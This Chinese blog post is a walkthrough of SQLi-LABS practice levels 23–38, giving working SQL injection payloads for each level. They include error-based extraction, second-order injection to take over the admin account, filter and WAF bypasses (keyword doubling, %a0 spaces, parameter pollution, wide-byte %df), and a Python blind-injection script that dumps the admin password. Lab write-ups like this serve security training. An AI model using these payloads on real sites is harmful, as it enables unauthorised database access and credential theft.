Sky's blog

SQLi-LABS(Adv)(Less-23 ~ Less-38)

Word count: 3,112 / Reading time: 14 min
2017/07/20 Share

Less-23

上来得到信息:
Please input the ID as parameter with numeric value
随便注了一下:http://localhost/sql/Less-23/?id=1' or 'a'='a
发现引号闭合成功
于是直接上updatexml()
payload:

1
2
3
http://localhost/sql/Less-23/?id=1' and updatexml(1,concat(0x7e,(select 
group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA=
database()),0x7e),1) and '1'='1

直接得到回显:
XPATH syntax error: '~emails,referers,uagents,users~'
然后就可以用这种方法爆字段了……此题完结

Less-24

这个题我上来看着像是二次注入……但是有个弊端问题是
这个不会有什么flag,一般的CTF题目是:
你登录到admin的界面,就会有flag,而这个不会……
所以我们的目标很明确,假设我们不知道admin的密码,如何登入admin的界面?
只要界面回显:

1
2
YOU ARE LOGGED IN AS 
admin

就算是成功
于是想到二次注入的方法:注册时候将sql语句插入了数据库,当再次调用这个恶意构造的字符时,就可以出发sql注入

于是尝试注册:

1
2
username = admin'#
password = skyiscool

然后注册成功,这个时候我们去修改密码:

1
2
username = admin'#
password = 2333

这个时候数据库执行update的时候,就会调用恶意构造的字符admin'#,导致sql注入成功,使我们修改的是admin的密码
然后去登录

1
2
username = admin
password = 2333

稳如狗的登录成功

1
2
YOU ARE LOGGED IN AS 
admin

此题完结

Less-25

题目上来就说 or 和 and 被过滤了
但说的好像我信一样……
随手试了一下:?id=1' || '1'='1
发现成功绕过,得到回显:Hint: Your Input is Filtered with following result: 1' || '1'='1
看来他是真的只注释了or和and……
但是事情没有我想的这么简单
我尝试爆表:

1
2
3
http://localhost/sql/Less-25/?id=' || updatexml(1,concat(0x7e,(select 
group_concat(table_name) from infoorrmation_schema.TABLES where
TABLE_SCHEMA=database()),0x7e),1)--+

却得到回显:Table 'infmation_schema.tables' doesn't exist
我靠…………information里的or被他过滤了……gg
只能再想其他绕过
后来想起来:可以重写绕过
例如:
oorr,anandd
然后成功得到payload:

1
2
3
http://localhost/sql/Less-25/?id=' || updatexml(1,concat(0x7e,(select 
group_concat(table_name) from infoorrmation_schema.TABLES where
TABLE_SCHEMA=database()),0x7e),1)--+

得到回显:
XPATH syntax error: '~emails,referers,uagents,users~'
此题完结

总结一下
1.and 用&& 代替,or 用||代替
2.利用重写:or 用oorr 代替,and 用anandd 代替

Less-25a

上一题的改版,是个盲注,而且没有加引号,不需要考虑闭合问题
脚本如下,很基础的bool盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
#url = "http://localhost/sql/Less-25a/?id=2333 || ascii(substr((select database()),%s,1))=%d"
#url = "http://localhost/sql/Less-25a/?id=2333 || ascii(substr((select group_concat(table_name) from infoorrmation_schema.TABLES where TABLE_SCHEMA=database()),%s,1))=%d"
#url = "http://localhost/sql/Less-25a/?id=2333 || ascii(substr((select group_concat(column_name) from infoorrmation_schema.columns where table_name='users'),%s,1))=%d"
url = "http://localhost/sql/Less-25a/?id=2333 || ascii(substr((select passwoorrd from users where username='admin'),%s,1))=%d"
result = ""
# 爆库:select database()
# security
# 爆表:select group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()
# emails,referers,uagents,users
# 爆字段:select group_concat(column_name) from infoorrmation_schema.columns where table_name='users'
# USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password
# 拿数据:select passwoorrd from user where username='admin'
# 2333
for i in range(1,100):
for j in range(33,127):
payload = url%(i,j)
s = requests.get(url=payload)
if "Your Login name:Dumb" in s.content:
result += chr(j)
print result
break
print result

Less-26

这题是空格绕过:
这里我用的绕过方法是:%a0
payload:

1
2
3
http://localhost/sql/Less-26/?id=1'%a0anandd%a0updatexml(1,concat(0x7e,
(select%a0group_concat(table_name)%a0from%a0infoorrmation_schema.TABLES
%a0where%a0TABLE_SCHEMA=database()),0x7e),1)%a0anandd%0a'1'='1

得到回显:
XPATH syntax error: '~emails,referers,uagents,users~'
此题完结

Less-26a

这一题是上一题的盲注,脚本大致与Less-25a相同……
这里就不再赘述

1
2
3
4
5
6
7
8
9
10
11
12
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}

顺便看了一眼过滤,
i表示正在匹配的模式,i是忽略大小写
\s就是匹配任意空白字符,制表符啊,换行啊空格啊等,那我们中间不加空格能绕过吧,所以只有%a0可以绕过了

#和–注释的方法都被过滤了,OR和AND也被过滤了,还有/**/绕过的方法也被过滤了,最后还有空格被过滤了
但是这个过滤还是太基础了……所以此题也完爆了……

Less-27

这题说过滤了union和select……
后来我发现还过滤了空格……
我尝试了几种方法:
/!select/,selselectect
都不行
然后试了一下大小写:SelEct
发现成功绕过
得到payload:

1
2
3
4
http://localhost/sql/Less-27/
?id=1'%a0and%a0updatexml(1,concat(0x7e,
(SelEct%a0group_concat(table_name)%a0from%a0information_schema.TABLES
%a0where%a0TABLE_SCHEMA=database()),0x7e),1)%a0and%0a'1'='1

得到回显:
XPATH syntax error: '~emails,referers,uagents,users~'
此题完爆

Less-27a

这一题是上一题的盲注,脚本大致与Less-25a相同……
还是不赘述了
不如看看过滤源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out Select
return $id;
}

Less-28

尝试了各种姿势……
除了正确登录有回显,其余的都没有回显……
猜想这应该是个盲注,并且是单引号+括号的闭合
但是我懒啊……就不想写脚本,所以payload如下:

1
2
3
http://localhost/sql/Less-28/?id=1')%a0and%a0updatexml(1,concat(0x7e,
(SelEct%a0group_concat(table_name)%a0from%a0information_schema.TABLES
%a0where%a0TABLE_SCHEMA=database()),0x7e),1)%a0and%a0('1'='1

至于脚本,继续参考Less-25a吧~

Less-28a

这题和上一题差不多……
后来我不相信,看了一下源码
发现代码大致相同,还有不少注释
……感觉可以我下的版本有一些是被人家做的时候改过…………
好吧,反正大致意思get就行
这个Less-28Less-28a和没有什么新奇的东西,就是变成了单引号+括号闭合

Less-29

不知道什么鬼……难道我题目有问题???
payload:

1
2
id=1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.TABLES 
where TABLE_SCHEMA=database()),0x7e),1)--+

直接就得到了回显?
XPATH syntax error: '~emails,referers,uagents,users~'
我自己都不是很相信…………

Less-30

上一题的盲注……不再赘述
然后我去看了源码……发现这个Index.php什么过滤也没有???
但是多了2个php文件:
hacked.php #这个文件没什么用,就是告诉你被waf拦截了
login.php #这个文件里有waf
可能需要我们绕waf的链接是http://localhost/sql/Less-30/login.php
但是……

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function whitelist($input)
{
$match = preg_match("/^\d+$/", $input);
if($match)
{
//echo "you are good";
//return $match;
}
else
{
header('Location: hacked.php');
//echo "you are bad";
}
}

乍一看,这个过滤也太野了吧……只能输入数字,这还怎么玩?
后来看了一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array= explode("&",$q_s);


foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);
if($val=="id")
{
$id_value=substr($value,3,30);
return $id_value;
echo "<br>";
break;
}

}

}

虽然一开始很不起眼,可是发现猫腻都在这里……
他把传进去的参数以&进行打散分割放入数组
然后遍历数组,取每个开头前2个字母是“id”的后面的值(但是注意有长度限制,是3~30位)
然后返回这个值……
但是这个函数的逻辑有严重错误:
一旦这个数组里的个数不止1个,并且每个组员都是id开头的……那么返回只会返回第一个组员的
比如id=1&id=sql_injection
传入这个函数会先被打散为:[“id=1”,”id=sql_injection”]
然后根据下面的匹配,返回1……然后函数结束

再看php逻辑:

1
2
3
4
$qs = $_SERVER['QUERY_STRING'];
$id1=java_implimentation($qs);
$id=$_GET['id'];
whitelist($id1);

他用无敌的waf过滤的是$id1而不是$id,所以导致我们可以利用java_implimentation()这个函数的漏洞破解这个过滤
例如:?id=1&id= 'union select 1,version(),database() --+
这时候$id1的值是1,很成功的绕过了过滤
但是
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
这里查询的时候,用的却是$id,而$id=$_GET['id']
会取url里最后一个id
所以此时$id='union select 1,version(),database() --+
被带入sql得到:
$sql="SELECT * FROM users WHERE id=''union select 1,version(),database() --+' LIMIT 0,1";

$sql="SELECT * FROM users WHERE id=''union select 1,version(),database()
成功绕过了最强waf,得到回显:

1
2
Your Login name:5.7.14
Your Password:security

故可破解此waf
然后Less-29是报错注入,Less-30是bool盲注
脚本我就不写了,但是绕过原理就是如上~

Less-31

看了一眼……没找到和Less-30不一样的地方……
怎么都是盲注,过滤什么的都一样……
好无奈……此题解法参照上面

Less-32

宽字节注入:
大家都知道 %df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗’,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了
payload:

1
2
3
http://localhost/sql/Less-32/?id=1%df' or updatexml(1,concat(0x7e,(select 
group_concat(table_name) from information_schema.TABLES where
TABLE_SCHEMA=database()),0x7e),1)--+

得到回显:
XPATH syntax error: '~emails,referers,uagents,users~'
此题完结

Less-33

和上题一样的宽字节注入,不再赘述
payload:

1
2
3
http://localhost/sql/Less-33/?id=1%df' or updatexml(1,concat(0x7e,(select 
group_concat(table_name) from information_schema.TABLES where
TABLE_SCHEMA=database()),0x7e),1)--+

对比一下两题源码:
Less-32

1
2
3
4
5
6
7
8
9
10
11
12
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);
//escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string);
//escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string);
//escape double quote with a backslash


return $string;
}

这里他自己写了一个过滤函数:单引号,双引号,反斜杠 均被添加斜线

Less-33

1
2
3
4
5
function check_addslashes($string)
{
$string= addslashes($string);
return $string;
}

这题是直接引用了php函数addslashes()

Less-34

POST形式的宽字节,还是一样的解法
payload:

1
2
3
4
5
uname=admin%df' or updatexml(1,concat(0x7e,(select 
group_concat(table_name) from information_schema.TABLES where
TABLE_SCHEMA=database()),0x7e),1)#
&passwd=1
&submit=Submit

得到回显:
XPATH syntax error: '~emails,referers,uagents,users~'
此题完结

Less-35

这题是没有引号闭合
所以直接payload:

1
2
3
http://localhost/sql/Less-35/?id=2333 or updatexml(1,concat(0x7e,(select 
group_concat(table_name) from information_schema.TABLES where
TABLE_SCHEMA=database()),0x7e),1)

Less-36

还是宽字节注入……但是是mysql_real_escape_string()这个函数了
但是payload不变:

1
2
3
http://localhost/sql/Less-36/?id=1%df' or updatexml(1,concat(0x7e,(select 
group_concat(table_name) from information_schema.TABLES where
TABLE_SCHEMA=database()),0x7e),1)--+

Less-37

依旧是POST的宽字节注入
和之前那道post的区别是,这题过滤用的是mysql_real_escape_string()
payload:

1
2
3
4
5
uname=admin%df' or updatexml(1,concat(0x7e,(select 
group_concat(table_name) from information_schema.TABLES where
TABLE_SCHEMA=database()),0x7e),1)#
&passwd=1
&submit=Submit

Less-38

这题可明注可盲注
盲注就不说了,Less-25a就是例子
payload:
http://localhost/sql/Less-38/?id=1' and ascii(substr((select database()),1,1))>-1--+
可成功回显,而
http://localhost/sql/Less-38/?id=1' and ascii(substr((select database()),1,1))>127--+
则没有回显
可以证明可以使用盲注

明注:
使用联合查询

1
2
3
4
5
http://localhost/sql/Less-38/?id=0%df' union select 1,version(),database() %23

http://localhost/sql/Less-38/?id=0%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23

http://localhost/sql/Less-38/?id=0%FE' union select 1,group_concat(username),group_concat(password) from security.users %23

可以成功破解此题

总结一下

感觉这个Adv里的题目,也是比较容易的,都很基础(看来CTF出的都是很bt的题了……)
大概Adv的题目分为下面几种:

  1. #,–过滤
  2. 二次注入
  3. or,and过滤
  4. spaces,#,–过滤
  5. union,select过滤
  6. 用WAF防护
  7. addslashes()
  8. MySQL_real_escape_string
  9. 层次化查询

这里还是能牵扯出一些注入绕过小技巧的,本文就不做详细归纳了,可以参考另一篇文章:

1
http://skysec.top/2017/07/19/sql%E6%B3%A8%E5%85%A5%E7%9A%84%E4%B8%80%E4%BA%9B%E6%8A%80%E5%B7%A7%E5%8E%9F%E7%90%86/

CATALOG
  1. 1. Less-23
  2. 2. Less-24
  3. 3. Less-25
  4. 4. Less-25a
  5. 5. Less-26
  6. 6. Less-26a
  7. 7. Less-27
  8. 8. Less-27a
  9. 9. Less-28
  10. 10. Less-28a
  11. 11. Less-29
  12. 12. Less-30
  13. 13. Less-31
  14. 14. Less-32
  15. 15. Less-33
  16. 16. Less-34
  17. 17. Less-35
  18. 18. Less-36
  19. 19. Less-37
  20. 20. Less-38
  21. 21. 总结一下